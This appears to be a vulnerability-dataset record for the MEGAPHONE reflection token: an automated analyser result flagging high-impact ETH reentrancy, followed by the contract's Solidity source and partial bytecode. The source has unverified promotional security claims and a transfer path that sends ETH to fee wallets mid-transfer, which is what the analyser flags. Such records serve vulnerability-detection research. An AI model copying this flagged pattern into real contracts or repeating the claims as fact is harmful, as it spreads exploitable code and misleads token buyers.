60a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611461565b600081848411156112135760405162461bcd60e51b81526004016106279190611a1e565b5060006112208486611cc2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461148f565b90506112e083826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c65565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac9190611cd9565b816001815181106113bf576113bf611c65565b6001600160a01b0392831660209182029290920101526014546113e59130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141e908590600090869030904290600401611cf6565b600060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146e5761146e6114f4565b611479848484611522565b80610a7057610a70600e54600c55600f54600d55565b600080600061149c611619565b90925090506114ab82826114b2565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165d565b600c541580156115045750600d54155b1561150b57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115348761168b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156690876116e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611595908661172a565b6001600160a01b0389166000908152600260205260409020556115b781611789565b6115c184836117d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160691815260200190565b60405180910390a3505050505050505050565b600654600090819069010f0cf064dd5920000061163682826114b2565b8210156116545750506006549269010f0cf064dd5920000092509050565b90939092509050565b6000818361167e5760405162461bcd60e51b81526004016106279190611a1e565b5060006112208486611d67565b60008060008060008060008060006116a88a600c54600d546117f7565b92509250925060006116b861148f565b905060008060006116cb8e87878761184c565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117378385611caa565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179361148f565b905060006117a1838361189c565b306000908152600260205260409020549091506117be908261172a565b30600090815260026020526040902055505050565b6006546117e090836116e8565b6006556007546117f0908261172a565b6007555050565b6000808080611811606461180b898961189c565b906114b2565b90506000611824606461180b8a8961189c565b9050600061183c826118368b866116e8565b906116e8565b9992985090965090945050505050565b600080808061185b888661189c565b90506000611869888761189c565b90506000611877888861189c565b905060006118898261183686866116e8565b939b939a50919850919650505050505050565b6000826000036118ae575060006106ad565b60006118ba8385611d89565b9050826118c78583611d67565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195481611934565b919050565b6000602080838503121561196c57600080fd5b823567ffffffffffffffff8082111561198457600080fd5b818501915085601f83011261199857600080fd5b8135818111156119aa576119aa61191e565b8060051b604051601f19603f830116810181811085821117156119cf576119cf61191e565b6040529182528482019250838101850191888311156119ed57600080fd5b938501935b82851015611a1257611a0385611949565b845293850193928501926119f2565b98975050505050505050565b600060208083528351808285015260005b81811015611a4b57858101830151858201604001528201611a2f565b81811115611a5d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8657600080fd5b8235611a9181611934565b946020939093013593505050565b600080600060608486031215611ab457600080fd5b8335611abf81611934565b92506020840135611acf81611934565b929592945050506040919091013590565b600060208284031215611af257600080fd5b81356112e081611934565b8035801515811461195457600080fd5b600060208284031215611b1f57600080fd5b6112e082611afd565b600060208284031215611b3a57600080fd5b5035919050565b60008060008060808587031215611b5757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8857600080fd5b833567ffffffffffffffff80821115611ba057600080fd5b818601915086601f830112611bb457600080fd5b813581811115611bc357600080fd5b8760208260051b8501011115611bd857600080fd5b602092830195509350611bee9186019050611afd565b90509250925092565b60008060408385031215611c0a57600080fd5b8235611c1581611934565b91506020830135611c2581611934565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca357611ca3611c7b565b5060010190565b60008219821115611cbd57611cbd611c7b565b500190565b600082821015611cd457611cd4611c7b565b500390565b600060208284031215611ceb57600080fd5b81516112e081611934565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d465784516001600160a01b031683529383019391830191600101611d21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da357611da3611c7b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7955b6bb7f95ae47e5d8f2ecbf50ec75bd1ebc4d43634f85d6b2e682957c9f064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,374 |
0xab0a0df2d0f86c025fa835662b56caa1f501f606
|
/***
*
* MEGAPHONE CASH
*
* www.megaphone.cash
* t.me/MegaphoneCash
*
* Megaphone is a new, bold and LOUD proposition.
* If you’ve got the BALLS we bring you CASH!
*
* 100% secured by a proven team, locked liquidity and renounced ownership.
*
* FAIR LAUNCH: There are no team tokens or presale tokens issued.
* TOTAL SUPPLY: A total of 1,000,000,000,000 tokens are available at launch.
* BUY FEE: On purchase there is a 10% total tax (6% goes to the holders, 4% to the team for marketing).
* BOT PROTECTION: The first buy is capped at 3,000,000,000 tokens, 45-second buy cooldown for the first 2 minutes.
* COOL DOWN: 15-second cooldown to sell after a buy to ban. There are no cool downs between sells.
* SELL FEE: Dynamically scaled to the sell's price impact, with a minimum fee of 10% and a maximum fee of 40%.
*
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MEGAPHONE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"MEGAPHONE.CASH | t.me/megaphonecash";
string private constant _symbol = unicode"MEGAPHONE";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461035c578063c3c8cd801461037c578063c9567bf914610391578063db92dbb6146103a6578063dd62ed3e146103bb578063e8078d941461040157600080fd5b8063715018a6146102ae5780638da5cb5b146102c357806395d89b41146102eb578063a9059cbb1461031d578063a985ceef1461033d57600080fd5b8063313ce567116100fd578063313ce567146101fb57806345596e2e146102175780635932ead11461023957806368a3a6a5146102595780636fc3eaec1461027957806370a082311461028e57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101c657806327f3a72a146101e657600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610416565b6040516101679190611bf2565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611b4a565b610436565b6040519015158152602001610167565b3480156101ac57600080fd5b50683635c9adc5dea000005b604051908152602001610167565b3480156101d257600080fd5b506101906101e1366004611b0a565b61044d565b3480156101f257600080fd5b506101b86104b6565b34801561020757600080fd5b5060405160098152602001610167565b34801561022357600080fd5b50610237610232366004611bad565b6104c6565b005b34801561024557600080fd5b50610237610254366004611b75565b61056f565b34801561026557600080fd5b506101b8610274366004611a9a565b6105ee565b34801561028557600080fd5b50610237610611565b34801561029a57600080fd5b506101b86102a9366004611a9a565b61063e565b3480156102ba57600080fd5b50610237610660565b3480156102cf57600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102f757600080fd5b506040805180820190915260098152684d45474150484f4e4560b81b602082015261015a565b34801561032957600080fd5b50610190610338366004611b4a565b6106d4565b34801561034957600080fd5b50601454600160a81b900460ff16610190565b34801561036857600080fd5b506101b8610377366004611a9a565b6106e1565b34801561038857600080fd5b50610237610707565b34801561039d57600080fd5b5061023761073d565b3480156103b257600080fd5b506101b861078a565b3480156103c757600080fd5b506101b86103d6366004611ad2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040d57600080fd5b506102376107a2565b6060604051806060016040528060238152602001611dcb60239139905090565b6000610443338484610b55565b5060015b92915050565b600061045a848484610c79565b6104ac84336104a785604051806060016040528060288152602001611dee602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121c565b610b55565b5060019392505050565b60006104c13061063e565b905090565b6011546001600160a01b0316336001600160a01b0316146104e657600080fd5b603381106105335760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105995760405162461bcd60e51b815260040161052a90611c45565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610564565b6001600160a01b0381166000908152600660205260408120546104479042611d35565b6011546001600160a01b0316336001600160a01b03161461063157600080fd5b4761063b81611256565b50565b6001600160a01b038116600090815260026020526040812054610447906112db565b6000546001600160a01b0316331461068a5760405162461bcd60e51b815260040161052a90611c45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610443338484610c79565b6001600160a01b0381166000908152600660205260408120600101546104479042611d35565b6011546001600160a01b0316336001600160a01b03161461072757600080fd5b60006107323061063e565b905061063b8161135f565b6000546001600160a01b031633146107675760405162461bcd60e51b815260040161052a90611c45565b6014805460ff60a01b1916600160a01b179055610785426078611cea565b601555565b6014546000906104c1906001600160a01b031661063e565b6000546001600160a01b031633146107cc5760405162461bcd60e51b815260040161052a90611c45565b601454600160a01b900460ff16156108265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108633082683635c9adc5dea00000610b55565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089c57600080fd5b505afa1580156108b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d49190611ab6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091c57600080fd5b505afa158015610930573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109549190611ab6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d49190611ab6565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a048161063e565b600080610a196000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab59190611bc5565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1957600080fd5b505af1158015610b2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b519190611b91565b5050565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052a565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052a565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052a565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052a565b6000546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b156111bf57601454600160a81b900460ff1615610e4d573360009081526006602052604090206002015460ff16610e4d57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7857506013546001600160a01b03838116911614155b8015610e9d57506001600160a01b03821660009081526005602052604090205460ff16155b1561100157601454600160a01b900460ff16610efb5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052a565b60066009556004600a55601454600160a81b900460ff1615610fc757426015541115610fc757601054811115610f3057600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa25760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052a565b610fad42602d611cea565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100157610fe442600f611cea565b6001600160a01b0383166000908152600660205260409020600101555b600061100c3061063e565b601454909150600160b01b900460ff1615801561103757506014546001600160a01b03858116911614155b801561104c5750601454600160a01b900460ff165b156111bd57601454600160a81b900460ff16156110d9576001600160a01b03841660009081526006602052604090206001015442116110d95760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052a565b601454600160b81b900460ff161561113e576000611102600c548461150490919063ffffffff16565b6014549091506111319061112a908590611124906001600160a01b031661063e565b90611583565b82906115e2565b905061113c81611624565b505b80156111ab57600b546014546111749160649161116e9190611168906001600160a01b031661063e565b90611504565b906115e2565b8111156111a257600b5460145461119f9160649161116e9190611168906001600160a01b031661063e565b90505b6111ab8161135f565b4780156111bb576111bb47611256565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120157506001600160a01b03831660009081526005602052604090205460ff165b1561120a575060005b61121684848484611692565b50505050565b600081848411156112405760405162461bcd60e51b815260040161052a9190611bf2565b50600061124d8486611d35565b95945050505050565b6011546001600160a01b03166108fc6112708360026115e2565b6040518115909202916000818181858888f19350505050158015611298573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b38360026115e2565b6040518115909202916000818181858888f19350505050158015610b51573d6000803e3d6000fd5b60006007548211156113425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052a565b600061134c6116c0565b905061135883826115e2565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140957600080fd5b505afa15801561141d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114419190611ab6565b8160018151811061146257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114889130911684610b55565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c1908590600090869030904290600401611c7a565b600060405180830381600087803b1580156114db57600080fd5b505af11580156114ef573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151357506000610447565b600061151f8385611d16565b90508261152c8583611d02565b146113585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052a565b6000806115908385611cea565b9050838110156113585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052a565b600061135883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b600a808210156116365750600a61164a565b60288211156116475750602861164a565b50805b611655816002611711565b15611668578061166481611d4c565b9150505b611678600a61116e836006611504565b60095561168b600a61116e836004611504565b600a555050565b8061169f5761169f611753565b6116aa848484611781565b8061121657611216600e54600955600f54600a55565b60008060006116cd611878565b90925090506116dc82826115e2565b92505